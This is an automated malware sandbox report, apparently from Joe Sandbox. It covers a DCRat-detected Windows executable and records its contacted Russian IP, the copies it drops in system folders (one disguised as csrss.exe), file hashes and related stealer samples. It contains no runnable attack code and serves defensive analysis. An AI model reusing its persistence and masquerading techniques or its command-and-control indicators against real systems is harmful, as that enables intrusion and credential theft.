http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	fDTPlvsGfH.exe, 00000000.00000002.1670534980.0000000002681000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1810438460.000001BD80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1855541530.0000028356711000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1876718568.000001DC294F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1814710733.0000017480001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1975526047.000001DB19131000.00000004.00000800.00020000.00000000.sdmp, nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.1975526047.000001DB19358000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micros	powershell.exe, 00000001.00000002.2656640543.000001BDF7D80000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2654509364.000002836EA10000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
109.107.182.145	unknown	Russian Federation		49973	TELEPORT-TV-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428989
Start date and time:	2024-04-20 00:41:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	fDTPlvsGfH.exe renamed because original name is a hash value
Original Sample Name:	B8298EE526BB093E3C96686D26D1361F.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@27/397@0/2
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.31.62.93
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 1836 because it is empty
Execution Graph export aborted for target powershell.exe, PID 1856 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6044 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7152 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7160 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: fDTPlvsGfH.exe

Simulations

Behavior and APIs

Time	Type	Description
00:41:59	API Interceptor	155x Sleep call for process: powershell.exe modified
00:42:09	API Interceptor	214146x Sleep call for process: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe modified
00:42:12	API Interceptor	2x Sleep call for process: svchost.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEPORT-TV-ASRU	eOU2MVDmTd.exe	Get hash	malicious	CredGrabber, Meduza Stealer, PureLog Stealer, zgRAT	Browse	109.107.181.83
	SecuriteInfo.com.Win64.PWSX-gen.6289.18727.exe	Get hash	malicious	CredGrabber, Meduza Stealer, PureLog Stealer	Browse	109.107.181.83
	gKN4xIjj5o.exe	Get hash	malicious	CredGrabber, PureLog Stealer	Browse	109.107.181.83
	vRp56pf5a9.exe	Get hash	malicious	CredGrabber, PureLog Stealer, zgRAT	Browse	109.107.181.83
	crsa4bZhdH.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	109.107.182.28
	IS48Ri2TQl.exe	Get hash	malicious	CredGrabber, Meduza Stealer, PureLog Stealer	Browse	109.107.181.83
	responsibilitylead.exe	Get hash	malicious	CredGrabber, PureLog Stealer	Browse	109.107.181.83
	HPK865zJIX.exe	Get hash	malicious	Xmrig	Browse	109.107.161.51
	KmnUuAaoo8.exe	Get hash	malicious	Xmrig	Browse	109.107.161.51
	2nd_stage_payload.ps1	Get hash	malicious	Unknown	Browse	109.107.173.60

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\AHvxDOtC.log	W4tW72sfAD.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	8CDSiIApNr.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	3otr19d5Oq.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	idYLOQOVSi.exe	Get hash	malicious	DCRat	Browse
	ZAF4Dsu737.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	mbsPX9l9Ge.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	nxs4if1qOO.exe	Get hash	malicious	DCRat	Browse
	crsa4bZhdH.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	C9EBSy2FG0.exe	Get hash	malicious	DCRat	Browse
	y3HHIzAW6R.exe	Get hash	malicious	DCRat	Browse
C:\Users\user\Desktop\AZWFwAgV.log	8CDSiIApNr.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	3otr19d5Oq.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	ZAF4Dsu737.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	nxs4if1qOO.exe	Get hash	malicious	DCRat	Browse
	crsa4bZhdH.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	C9EBSy2FG0.exe	Get hash	malicious	DCRat	Browse
	mE6cY5Lf5f.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	2qCi8YfXXc.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	fLxh5LPKeO.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	1tQ7HC6GOS.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\ebcca32ff60686

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	ASCII text, with very long lines (815), with no line terminators
Category:	dropped
Size (bytes):	815
Entropy (8bit):	5.886238430982932
Encrypted:	false
SSDEEP:	24:yB25S/imDEVRCgJcWcL1gTzlPd9L0nWLr+If58Ld:yB25KimDEVpJtcST9dh0n8+A+d
MD5:	E57837F298451AEC10876D2E19F44393
SHA1:	BA0CBF590DCF4F79BF16E2B5C9B90FE155E9CCBD
SHA-256:	7A049395A489C44EA1C55DAA6442D84059DAA236064B18DA03313371F9AE7B2E
SHA-512:	D92FD9EF7CC1A5172D249CC508BC46DB52E934A6FC0A8BDA527416EE0B364407F0F1314D76322EE8B80E23B57592DB32CD422AF2A70E4D2539EEA4E6E182C521
Malicious:	false
Preview:	hA8nDHdVOlfr4yRVPKQJpNxpZ0Ry82UPTlMQ7PHLZTUXqTNowlFhquJTNSNMzpWVQPYTlAY9DFuV2a9GnnBXxxijc2DpC5Vu69Ga44CwNFdkAxbwTGjMo9hcrz1t6s7Hu9Z3TiMslOJsT7ipbQW6VJG6botFDTzeHV0AXhdu40kZzzItQLRqWBwk3cbpzGpRYpk7HhR3wlBeiqHmfAz1BJHGjPH5Gy5xLTAKPKls4Y3v9RCMVzJzRxPPhdY1aWw8qNSPq7WUYG7nQWHRN4kRpFgYDvmvwuSil4Ev9xgYcybK0m8LWGofwfTkr4L4UkinyYCVRVSaXMz0oWhbxbZpFwwFleEElmD1QxWbjm3AyNHkqc5VXuH3L3iBm6uxRNzvI7k19F1KiY02oMZJitr0eKqXPVzn2FtlYWbs2EVR36VwCqWagkPhf8R8RNmoQNScpPdSurRdXa7hy4Uj8YGR0LFaEdbocrApo2GxMDqzTvKFBtJW2Dp1GAldKDNRPmBqZR35xhW4sR8FB9YVTEwZBIjoQmnJzYkqtequ0NjVqvJzCgcKo28L0moQsOoK4NEUrRVgToeFeasQ9tmuKce7aY0G0ZCliYbdqzIuK51AX2qZ3XR8m4AbsH3SaOq4l3gG9PkJk1jOlejhsbNdHD9oY9uj50U6P7YeWkZowHYvVw0OiWj9BNwi32rAeBOthn9oFELIBiqApNSmJgBjRU4BK0ld2ZKv3oOsxLIdKa7dhv3pjF07ApcMs7dPdrQmY4HA9kz7YhY0WaeY654wiMvOLB9zs2AdKVEmo2q8Q3jcQmzRcES

C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2669568
Entropy (8bit):	4.630553832081319
Encrypted:	false
SSDEEP:	24576:jKzVgGWEP/Cw7sULqPyZwSxIshFQb8mu0c3jlCjH5xdL9UvGigW261+:ezVhP5lwSxXAlpW
MD5:	B8298EE526BB093E3C96686D26D1361F
SHA1:	583FF162C74E864D77323B76355F175AAB170E1F
SHA-256:	08D8919249B3F442106283B5A413EAFF6B6B3D9CA76EC7C3A88101B54BAB0FE4
SHA-512:	34211F5274FB5791B25FD16B352C5B56305E1D067DF8F3974FF0D2D0F03F976E083451D725AFBB07A9533886953B9C58C6B9A41CCFA884B1E4604756C03FBF5A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..........".......(...........(.. ....(...@.. ....................... ).......)...@.................................\|.(.O.....(.p.....................)...................................................... ............... ..H............text....(.. ....(................. ..`.rsrc...p.....(.......(.............@..@.reloc........).......(.............@..B..................(.....H.......T...(.$.........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Program Files\Windows Portable Devices\ebcca32ff60686

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	ASCII text, with very long lines (603), with no line terminators
Category:	dropped
Size (bytes):	603
Entropy (8bit):	5.898537924237574
Encrypted:	false
SSDEEP:	12:X7TpvNuOwc6Cv2omGUdKQ12pt31ceWfiua5e6EUY:LNt+Lb4o0V1pmNaI6EZ
MD5:	5FF4B260B166E4094D4C837119BEE2AD
SHA1:	55E6C04AAAA5F25DB3374336BE255F54634B92D4
SHA-256:	67DD895A0C852EE6685392D38A0DFD7AF4D168DF2703289798242DF0034A730D
SHA-512:	49AE914EB370E4024F2BD177038266FAF116E2D863690A97664EDADA1D99A1FD432CF72847D9DE6BCFAB136FFA7A7F236816B2D4D45E9D1C8BA034F8F4618F02
Malicious:	false
Preview:	9Pfh5pBW1uEP5gpnS7jMrXnkcqrS3dvDrXRnD5V6y5kUOS16Yi05Pw3mm5EO8tcY8BhiPBjXmmXvwTWJzu3Unzx5epBI0G8FcMVMvTrX8cTnYHzTj5ZNzIvINmEk9bgfnSTk7JYfDgWKgKgWzsj5rvPUbM9JPHXg6y9FyPVZh3JSwkmCFrvQ2kx1C8IuJOQ6JzOsKbhjXJYxl6i0k6EhWGnVAHC0GlPSnNJ6W42nKL3tMAQFaSJNKtkCL2rCYrcw3GKYxmeqEaXKN4JA16aybCI3nHudMzPcsHzFz2SxxdItVZyRtrKbRoU18Qup1BdOK4cFFDK9omB73YiNSdtfoyLEw8HjHm6v94ja7tLqgLxpmX7ksgXXS8kWtYTG5l2BpP79yHQjRD8dBfbZAh0kPidBUMrjaEu5Tv9XZ8vkQxGO9GVN73GYuRvHv5pmarJMTDJPgD9BwQUbcOCN0dlg8VLBA2ldTIKio3557Gr33Eme7Toh3bv7FmO72IOncgsnFvxjTGQuvsm4trEqNEk1XNdBp8Dy1DaXV9YMgFNwLALWAUNLEiZY50P2Rv4VCb2rSOiuS1KI0xqWBGBUu2uToCbetg4

C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2669568
Entropy (8bit):	4.630553832081319
Encrypted:	false
SSDEEP:	24576:jKzVgGWEP/Cw7sULqPyZwSxIshFQb8mu0c3jlCjH5xdL9UvGigW261+:ezVhP5lwSxXAlpW
MD5:	B8298EE526BB093E3C96686D26D1361F
SHA1:	583FF162C74E864D77323B76355F175AAB170E1F
SHA-256:	08D8919249B3F442106283B5A413EAFF6B6B3D9CA76EC7C3A88101B54BAB0FE4
SHA-512:	34211F5274FB5791B25FD16B352C5B56305E1D067DF8F3974FF0D2D0F03F976E083451D725AFBB07A9533886953B9C58C6B9A41CCFA884B1E4604756C03FBF5A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..........".......(...........(.. ....(...@.. ....................... ).......)...@.................................\|.(.O.....(.p.....................)...................................................... ............... ..H............text....(.. ....(................. ..`.rsrc...p.....(.......(.............@..@.reloc........).......(.............@..B..................(.....H.......T...(.$.........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x8044a80e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221505535223442
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:5aza/vMUM2Uvz7DO
MD5:	528B7A888F13FE71D9AB3CE00CFE062F
SHA1:	EF73E1A6D985D04AF8E9C3453D50AD4832673046
SHA-256:	611DC5B654E7264A6E37268E18096A863ABC7F0EC7F47278DFF8D441161F1451
SHA-512:	931BBECE9C66D14686B477C1A08C54A6503D72191228AFDA716A7508920D6121E2F7A0C373E774565061575B57766EDDEAEF700EBC64CEFAFA1610DCFAD424BE
Malicious:	false
Preview:	.D..... .......A.......X\...;...{......................0.!..........{A.....\|9.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................G.....\|9..................(...*...\|9..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\Recovery\ebcca32ff60686

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	ASCII text, with very long lines (799), with no line terminators
Category:	dropped
Size (bytes):	799
Entropy (8bit):	5.884614357197551
Encrypted:	false
SSDEEP:	24:JgH7KYqllZZvHSTVMCn7ew3+pLx48ZWT6/540Kp:k+YQlZZKv77ix4HOy0Kp
MD5:	C81E99C7D9E74E522D6127BB664A965A
SHA1:	980FFCE3B01131ACBB23C5A996F51F5F01C5E11C
SHA-256:	D78ABFD62E8E4E3D0BFC6534136A26F94F63EABCA8EE1CD78F39AB4BCF28290F
SHA-512:	617B9E05D9FB5DE66F0B3E16113DA7D96D9405DE35D35E76DAC5AE30E6254B847E79B5E6EBBDE8888F73449BD40980D3A8CDA025E6B2695FB23F16651BAC9D3B
Malicious:	false
Preview:	N9iwlKsDiVuJgvxEItp8MeGYFQbALhc9iMPvVJ4NozziDcwfAPCrzrlt2JrVsr2A2ulUgCs8ybTWoiUnd696fuK0lf2Mcif67ypT1c98gD2XYOETyD2ws5eIkusAJggQ6WYz3BvB6BZc1wcWbiYYqtOBTgsGt9yAhmbC0OawS0zqgCQxSWikHHjNHWfWTpS7MZ4OVagMIlGz3ifRP4yWaN3aCO4dsEdni2dHIBc20WcfAtTi0OGY05h8feMHfCdDIdRBEYJNc6gDvXZT4Vmd7EwnUelnzVXx2ZWhcSebF264YdNIF2MJZ9FErnqjxfYGjtKVA10m1KYFI1P1Qci7IOX3TS0yl4okezVpS1INCkROlA5zYzTV7a8VVRCsBBA7gxkTgjiYUU4i6IRTWAawlSmD1AUAzaLAjUsxZmSzQ4BmgZYM9tVAlOVOKhcgPhj3I48mae3tslgrRAhblHBFEKZV8dm2KwjsUHdlawvfzlS9so6K9A4Hgdz8fnn61Bj5BxWKg5AzWfQc2ZmThc2J2cL1RfGwIyoyCX84SwnEAEuBNWFFBTZYJaCjmf2AyNrh0baearBuyxJyrJn5ZBvyYQolUZSx4mPwXMLv5koTSpjVRO1c16lxb2JkxyKBZO0LiWbe729zWcgtqSUFhz57BbVeDl8Gan3DyYx4xXe87vb9WZ3eeEdjS2JGB6aW42Ytic4SfZSKU6APAVHordmWJTu6Oq306IEEXsa3el8EvTPW23GpywpaQCkOs8DygbOM252S5OJFeikzEYDUkOCJdoyVHLLgiKi

C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2669568
Entropy (8bit):	4.630553832081319
Encrypted:	false
SSDEEP:	24576:jKzVgGWEP/Cw7sULqPyZwSxIshFQb8mu0c3jlCjH5xdL9UvGigW261+:ezVhP5lwSxXAlpW
MD5:	B8298EE526BB093E3C96686D26D1361F
SHA1:	583FF162C74E864D77323B76355F175AAB170E1F
SHA-256:	08D8919249B3F442106283B5A413EAFF6B6B3D9CA76EC7C3A88101B54BAB0FE4
SHA-512:	34211F5274FB5791B25FD16B352C5B56305E1D067DF8F3974FF0D2D0F03F976E083451D725AFBB07A9533886953B9C58C6B9A41CCFA884B1E4604756C03FBF5A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..........".......(...........(.. ....(...@.. ....................... ).......)...@.................................\|.(.O.....(.p.....................)...................................................... ............... ..H............text....(.. ....(................. ..`.rsrc...p.....(.......(.............@..@.reloc........).......(.............@..B..................(.....H.......T...(.$.........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\886983d96e3d3e

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.836728456542453
Encrypted:	false
SSDEEP:	6:mS3STFCJ9f4ubQTXU7QYRcgZduuWbh7sEB4jCH1c0FXhUj4:mSQEJ9f6OogZduNh5UCVpxl
MD5:	1FD7D34023C1D25E3A71ED968FB6E0CF
SHA1:	E3406D43E82F6AB83ED885520641663DBB789FAC
SHA-256:	3E021319C351308089185A9991DB62AF2D4AB7EFFCE009C98760AECAF935FE77
SHA-512:	74B2064ACA484C7097249A242DA9D56FC4EFF829FABB325CEEC79A814CD6C8BA1F69895F9BC08078B6D77BF66941CA7D88B79333D2B3BFE03B3DBB9A111E3CB7
Malicious:	false
Preview:	hHK20KujkKqjDPxDBw6Z78E5OhCPiRAi5WeUU0pu9lRjDiay8scGP8TiDOoSIeATKIoqudtKGMZVrf2qHNR0z4S7C6QFMWlel7Z54tDf9R9Di81iW8L4NKeQzqnyMn7tk4ttF7vXKw0h4OYEEssOLrRbdJFNFOSVUPdnOIcZMxubT6VkRjue4th3nSP61hS5dfNovvz6PTBY70Igxe5feyakrjA62ghofy7xtqzguyOlrJ5xKsIXlwboEm7Mv3EtwW3I2UxHpZvqkz3inMwJXKDsXStGt

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\csrss.exe

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2669568
Entropy (8bit):	4.630553832081319
Encrypted:	false
SSDEEP:	24576:jKzVgGWEP/Cw7sULqPyZwSxIshFQb8mu0c3jlCjH5xdL9UvGigW261+:ezVhP5lwSxXAlpW
MD5:	B8298EE526BB093E3C96686D26D1361F
SHA1:	583FF162C74E864D77323B76355F175AAB170E1F
SHA-256:	08D8919249B3F442106283B5A413EAFF6B6B3D9CA76EC7C3A88101B54BAB0FE4
SHA-512:	34211F5274FB5791B25FD16B352C5B56305E1D067DF8F3974FF0D2D0F03F976E083451D725AFBB07A9533886953B9C58C6B9A41CCFA884B1E4604756C03FBF5A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\csrss.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..........".......(...........(.. ....(...@.. ....................... ).......)...@.................................\|.(.O.....(.p.....................)...................................................... ............... ..H............text....(.. ....(................. ..`.rsrc...p.....(.......(.............@..@.reloc........).......(.............@..B..................(.....H.......T...(.$.........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\csrss.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\fDTPlvsGfH.exe.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1698
Entropy (8bit):	5.367720686892084
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkrJHVHmHKlT4x:iq+wmj0qCYqGSI6oPtzHeqKkt1GqZ4x
MD5:	5E2B46F197ED0B7FCCD1F26C008C2CD1
SHA1:	17B1F616C3D13F341565C71A7520BD788BCCC07D
SHA-256:	AF902415FD3BA2B023D7ACE463D9EB77114FC3678073C0FFD66A1728578FD265
SHA-512:	5E6CEEFD6744B078ADA7E188AEC87CD4EE7FDAD5A9CC661C8217AC0A177013370277A381DFE8FF2BC237F48A256E1144223451ED2EC292C00811C14204993B50
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
